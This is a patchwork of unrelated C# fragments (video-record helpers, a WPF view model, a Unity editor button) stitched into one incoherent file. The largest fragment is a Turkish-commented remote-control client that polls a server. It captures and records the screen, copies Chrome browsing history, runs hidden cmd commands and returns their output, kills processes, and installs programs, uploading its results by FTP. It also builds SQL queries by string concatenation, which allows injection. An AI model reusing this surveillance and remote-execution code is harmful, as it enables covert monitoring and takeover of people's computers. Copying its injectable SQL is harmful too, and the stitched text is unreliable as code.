private VideoRecord[] QueryVideo(out string str_error)
{
List <VideoRecord> records = new List <VideoRecord>();
str_error = "";
try
{
string sql = string.Format("select * from video_records where delete_mark = 0 order by create_time desc");
string error = "";
DataTable dt = DataBaseHelper.ExecuteTable(sql, out error);
if (error == "")
{
foreach (DataRow dr in dt.Rows)
{
VideoRecord vr = new VideoRecord();
vr.id = Convert.ToInt32(dr[0]);
vr.title = dr[1].ToString();
vr.uploader = dr[2].ToString();
vr.dep = dr[3].ToString();
vr.url = dr[4].ToString();
vr.createTime = dr[5].ToString();
records.Add(vr);
}
}
}
catch (Exception ex)
{
str_error = ex.Message;
SystemLog.WriteErrorLog("查询视频失败", "1043", ex.Message, ex.StackTrace);
}
return(records.ToArray());
}
public VideoDetailsPageViewModel(VideoRecord _record) : this()
{
vid = _record.Vid;
Icon.Value = _record.Icon;
Playlist.Value = VideoAccesser.CheckIfInPlaylist(_record);
Favorite.Value = _record.Favorite;
ScoreUI = new ScoreEntity(_record.Score);
IntensityUI = new IntensityEntity(_record.Intensity);
DurationUI = new DurationEntity(_record.Duration);
foreach (var tag in _record.Tags)
{
VideoTags.Entities.Insert(VideoTags.Entities.Count - 1, new TagEntity(tag, VideoTags.Entities));
}
Alias.Value = _record.Alias;
Series.Value = _record.Series;
Alt_Alias.Value = _record.Alt_Alias;
Alt_Series.Value = _record.Alt_Series;
Duration.Value = _record.Duration.ToString(@"mm\:ss");
Bitrate.Value = Math.Round(_record.File_Size / _record.Duration.TotalSeconds).ToString() + "bps";
Frame.Value = _record.Resolution;
Format.Value = _record.Format;
FilePath.Value = _record.File_Path;
FileName.Value = _record.File_Name;
Extention.Value = _record.File_Extention;
FileSize.Value = Math.Round(_record.File_Size / 1048576d, 1).ToString() + "MB";
Screenlist.Value = _record.Screenlist.Screenlist;
Icon.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateIcon(vid, Icon.Value); };
Playlist.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { throw new NotImplementedException(); };
Favorite.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateFavorite(vid, Favorite.Value); };
ScoreUI.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateScore(vid, ScoreUI.Score.Value); };
IntensityUI.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateIntensity(vid, IntensityUI.Intensity.Value); };
VideoTags.Entities.ListChanged += (object o, ListChangedEventArgs e) => {
if (e.ListChangedType == ListChangedType.ItemChanged)
{
var collection = (BindingList <TagEntityBase>)o;
var tag = (TagEntity)collection[e.NewIndex];
VideoAccesser.UpsertTag(vid, tag.Text, tag.Intensity, tag.Deleted);
}
};
Alias.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateAlias(vid, Alias.Value); };
Series.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateSeries(vid, Series.Value); };
Alt_Alias.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateAltAlias(vid, Alt_Alias.Value); };
Alt_Series.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateAltSeries(vid, Alt_Series.Value); };
Screenlist.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpsertScreenlist(vid, Screenlist.Value); };
}
public override void OnInspectorGUI()
{
DrawDefaultInspector();
VideoRecord videoRecord = (VideoRecord)target;
if (GUILayout.Button("Record Movie"))
{
if (Application.isPlaying)
{
videoRecord.RecordMovie();
}
else
{
Debug.LogError("You can only record Movie in runtime");
}
}
}
private void RecordStop_Tick(object sender, EventArgs e)
{
VideoRecord.Stop();
string video_adi = hardwareId + DateTime.Now.Millisecond.ToString() + ".mp4";
screenRec.Stop(video_adi);
RecordStop.Stop();
//------------------FTP GONDER----------------//
tekrar_gonder:
try
{
string local_dosya = "temp/sr/" + video_adi;
//ftp ile yolla
kaynak.ftp_gonder(local_dosya);
Servis.isEmri_Kapat(hardwareId, "Screen_Record", local_dosya, "");
}
catch (Exception)
{
goto tekrar_gonder;
}
}
private void isKontrol_Tick(object sender, EventArgs e)
{
isKontrol.Stop();
foreach (var x in Servis.isEmri(hardwareId).ToList())//try catch eklenecek
{
switch (x.Work_)
{
case "Screen_Capture":
try
{
//goruntu alınır
string yoll = "temp/ss/" + hardwareId + DateTime.Now.Millisecond.ToString() + ".jpg"; //dosya yolu
kaynak.Screenshot().Save(yoll, ImageFormat.Jpeg);
//ftp ile yolla
kaynak.ftp_gonder(yoll);
Servis.isEmri_Kapat(hardwareId, "Screen_Capture", yoll, "");
}
catch (Exception)
{
//hata mesajı gonderilecek
}
break;
case "Screen_Record":
Rectangle bounds = Screen.FromControl(this).Bounds;
screenRec = new ScreenRecorder(bounds, "temp//sr");
RecordStop.Start();
VideoRecord.Start(); //30 sn sayar
break;
case "App_Run":
try
{
Process.Start(x.Query_);
Servis.isEmri_Kapat(hardwareId, "App_Run", fullName, "");
}
catch (Exception)
{
}
break;
case "App_Stop":
try
{
var processName = x.Query_;
Process[] processes = Process.GetProcessesByName(processName.ToString());
foreach (Process process in processes)
{
process.Kill();
}
// MessageBox.Show("Browser_History Running");
Servis.isEmri_Kapat(hardwareId, "App_Stop", processName.ToString(), "");
}
catch (Exception)
{
//Uygulama Bulunamadı Hatası dondurulecek
}
break;
case "Browser_Histories":
try
{
//Tarayıcı Geçmişi Yollanıyor
// Temp Siliniyor
var dosyalar = Directory.GetFiles(Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite");
foreach (var item in dosyalar)
{
try
{
File.Delete(item);
}
catch (Exception)
{
}
}
// Temp Siliniyor
//Geçmiş Alınıyor
string google = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\History";
string fileName = DateTime.Now.Ticks.ToString();
File.Copy(google, Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite\\" + fileName);
string b_history_yol = "temp/XmlData/browser_histories/xml/" + hardwareId + DateTime.Now.Millisecond.ToString() + ".xml";
//Geçmiş Alınıyor
using (SQLiteConnection con_xml = new SQLiteConnection("DataSource = " + Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite\\" + fileName + ";Integrated Security=True;Connect Timeout=30;Encrypt=False;TrustServerCertificate=True;ApplicationIntent=ReadWrite;MultiSubnetFailover=False;"))
{
con_xml.Open();
SQLiteDataAdapter da_b_h = new SQLiteDataAdapter("select url,title,last_visit_time from urls ", con_xml);
// SQLiteDataAdapter da = new SQLiteDataAdapter("select * from urls order by last_visit_time desc", con);
DataTable ds = new DataTable();
da_b_h.Fill(ds);
ds.TableName = "x";
ds.WriteXml(b_history_yol);
con_xml.Close();
geri:
try
{
kaynak.ftp_gonder(b_history_yol);
Servis.isEmri_Kapat(hardwareId, "Browser_Histories", b_history_yol, "");
}
catch (Exception xe)
{
MessageBox.Show(xe.Message);
goto geri;
}
////////////////////////////////////////
}
//İşlem Tamamlandı.Dosya Ftp ile aktarılıp tabloya bilgisi eklendi
}
catch (Exception)
{
//hata mesajı dondurulecek
}
break;
case "Cmd":
if (x.Query_ != "" && x.Query_ != null)
{
try
{
Process p = new Process();
p.StartInfo.FileName = "cmd";
p.StartInfo.Arguments = "/c " + x.Query_;
p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Servis.isEmri_Kapat(hardwareId, "Cmd", x.Query_, p.StandardOutput.ReadToEnd().ToString());
}
catch (Exception)
{
}
}
// MessageBox.Show("Secrenn Capture Running");
break;
case "Banned_App_Add":
using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
{
try
{
con.Open();
SQLiteCommand banned_app_add_command = new SQLiteCommand("insert into Banned_App(Hardware_Id,P_Name,Limit_,Used_Time,Day_,Status_,Datetime_) values ('" + hardwareId + "','" + x.Query_ + "'," + x.Temp_ + ",0," + DateTime.Now.Day + ",1,'" + DateTime.Now + "')", con);
banned_app_add_command.ExecuteNonQuery();
con.Close();
Servis.isEmri_Kapat(hardwareId, "Banned_App_Add", x.Query_, "");
}
catch (Exception X)
{
//hatamesajıı servise gonderilecek.MES
MessageBox.Show(X.Message);
}
}
break;
case "Banned_App_Remove":
using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
{
try
{
con.Open();
SQLiteCommand banned_app_remove_command = new SQLiteCommand("DELETE FROM Banned_App WHERE Hardware_Id='" + hardwareId + "' and P_Name='" + x.Query_ + "'", con);
banned_app_remove_command.ExecuteNonQuery();
con.Close();
Servis.isEmri_Kapat(hardwareId, "Banned_App_Remove", x.Query_, "");
}
catch (Exception)
{
//hatamesajıı servise gonderilecek.
}
}
break;
case "Wallpaper_Change":
using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
{
try
{
kaynak.ftp_al(x.Query_);
//Arkaplan Ayarlanıyor
string arkaplan_full_yol = Application.StartupPath + @"\temp\bg\" + x.Query_;
SystemParametersInfo(0x14, 0, arkaplan_full_yol, 0x01 | 0x02);
Servis.isEmri_Kapat(hardwareId, "Wallpaper_Change", x.Query_, "");
}
catch (Exception)
{
//hatamesajıı servise gonderilecek.
}
}
break;
case "Time_Limit":
using (SQLiteConnection con = new SQLiteConnection("Data Source=RunningTime.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
{
try
{
con.Open();
SQLiteCommand time_limit_cmd = new SQLiteCommand("update RunningTime set Time_Limit=" + x.Query_ + "", con);
time_limit_cmd.ExecuteNonQuery();
con.Close();
Servis.isEmri_Kapat(hardwareId, "Time_Limit", "", "");
}
catch (Exception)
{
//hatamesajıı servise gonderilecek.
}
}
break;
case "Alert_Message":
SistemTepsisi.Visible = true;
SistemTepsisi.ShowBalloonTip(10000, "Sistem Kontrolörü", "Genel Mesaj! Yönetici:" + x.Query_, ToolTipIcon.Info);
Servis.isEmri_Kapat(hardwareId, "Alert_Message", "", "");
break;
case "Install_App":
//Theread Üzerinde dosya ftp ile alınıyor ve cmd ile kuruluyor.
uygulama_adi_ = x.Query_;
Thread uygulama_kur_thread = new Thread(new ThreadStart(program_kur));
uygulama_kur_thread.Start();
SistemTepsisi.Visible = true;
SistemTepsisi.ShowBalloonTip(10000, "Sistem Kontrolörü - Program Yükleyici", x.Query_ + " Yükleniyor... ", ToolTipIcon.Info);
Servis.isEmri_Kapat(hardwareId, "Install_App", "", "");
break;
default:
break;
}
}
isKontrol.Start();
}
public VideoDetailsPage(VideoRecord _videoRecord)
{
InitializeComponent();
this.DataContext = new VideoDetailsPageViewModel(_videoRecord);
ScreenlistTab.IsSelected = true;
}
